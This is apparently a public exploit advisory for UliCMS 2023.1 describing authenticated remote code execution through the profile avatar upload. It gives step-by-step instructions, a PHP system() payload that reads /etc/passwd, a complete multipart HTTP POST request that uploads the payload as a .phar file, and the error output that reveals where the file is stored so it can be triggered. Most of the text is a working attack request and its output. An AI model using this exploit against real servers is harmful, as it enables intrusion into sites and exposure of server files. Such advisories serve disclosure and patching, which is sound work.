Ulicms-2023.1 sniffing-vicuna – Remote Code Execution (RCE)
#Exploit Title: Ulicms-2023.1 sniffing-vicuna - Remote Code Execution (RCE) #Application: Ulicms #Version: 2023.1-sniffing-vicuna #Bugs: RCE #Technology: PHP #Vendor URL: https://en.ulicms.de/ #Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip #Date of found: 04-05-2023 #Author: Mirabbas Ağalarov #Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. Login to account and edit profile. 2.Upload new Avatar 3. It is possible to include the php file with the phar extension when uploading the image. Rce is triggered when we visit it again. File upload error may occur, but this does not mean that the file is not uploaded and the file location is shown in the error payload: <?php echo system("cat /etc/passwd"); ?> poc request : POST /dist/admin/index.php HTTP/1.1 Host: localhost Content-Length: 1982 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYB7QS1BMMo1CXZVy User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/dist/admin/index.php?action=admin_edit&id=12&ref=home Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: 64534366316f0_SESSION=g9vdeh7uafdagkn6l8jdk2delv Connection: close ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="csrf_token" e2d428bc0585c06c651ca8b51b72fa58 ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="sClass" UserController ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="sMethod" update ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="avatar"; filename="salam.phar" Content-Type: application/octet-stream <?php echo system("cat /etc/passwd"); ?> ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="edit_admin" edit_admin ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="id" 12 ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="firstname" account1 ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="lastname" account1 ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="email" account1@test.com ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="password" ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="password_repeat" ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="group_id" 1 ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="secondary_groups[]" 1 ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="homepage" ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="html_editor" ckeditor ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="admin" 1 ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="default_language" ------WebKitFormBoundaryYB7QS1BMMo1CXZVy Content-Disposition: form-data; name="about_me" ------WebKitFormBoundaryYB7QS1BMMo1CXZVy-- response: Error GmagickException: No decode delegate for this image format (/var/www/html/dist/content/tmp/645364e62615b.phar) in /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php:67 Stack trace: #0 /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php(67): Gmagick->__construct() #1 /var/www/html/dist/App/non_namespaced/User.php(1110): Imagine\Gmagick\Imagine->open() #2 /var/www/html/dist/App/non_namespaced/User.php(1089): User->processAvatar() #3 /var/www/html/dist/content/modules/core_users/controllers/UserController.php(124): User->changeAvatar() #4 /var/www/html/dist/App/non_namespaced/Controller.php(82): UserController->updatePost() #5 /var/www/html/dist/App/non_namespaced/ControllerRegistry.php(67): Controller->runCommand() #6 /var/www/html/dist/admin/index.php(66): ControllerRegistry::runMethods() #7 {main} Next Imagine\Exception\RuntimeException: Unable to open image /var/www/html/dist/content/tmp/645364e62615b.phar in /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php:73 Stack trace: #0 /var/www/html/dist/App/non_namespaced/User.php(1110): Imagine\Gmagick\Imagine->open() #1 /var/www/html/dist/App/non_namespaced/User.php(1089): User->processAvatar() #2 /var/www/html/dist/content/modules/core_users/controllers/UserController.php(124): User->changeAvatar() #3 /var/www/html/dist/App/non_namespaced/Controller.php(82): UserController->updatePost() #4 /var/www/html/dist/App/non_namespaced/ControllerRegistry.php(67): Controller->runCommand() #5 /var/www/html/dist/admin/index.php(66): ControllerRegistry::runMethods() #6 {main} 4. Go to /var/www/html/dist/content/tmp/645364e62615b.phar (http://localhost/dist/content/tmp/645364e62615b.phar) |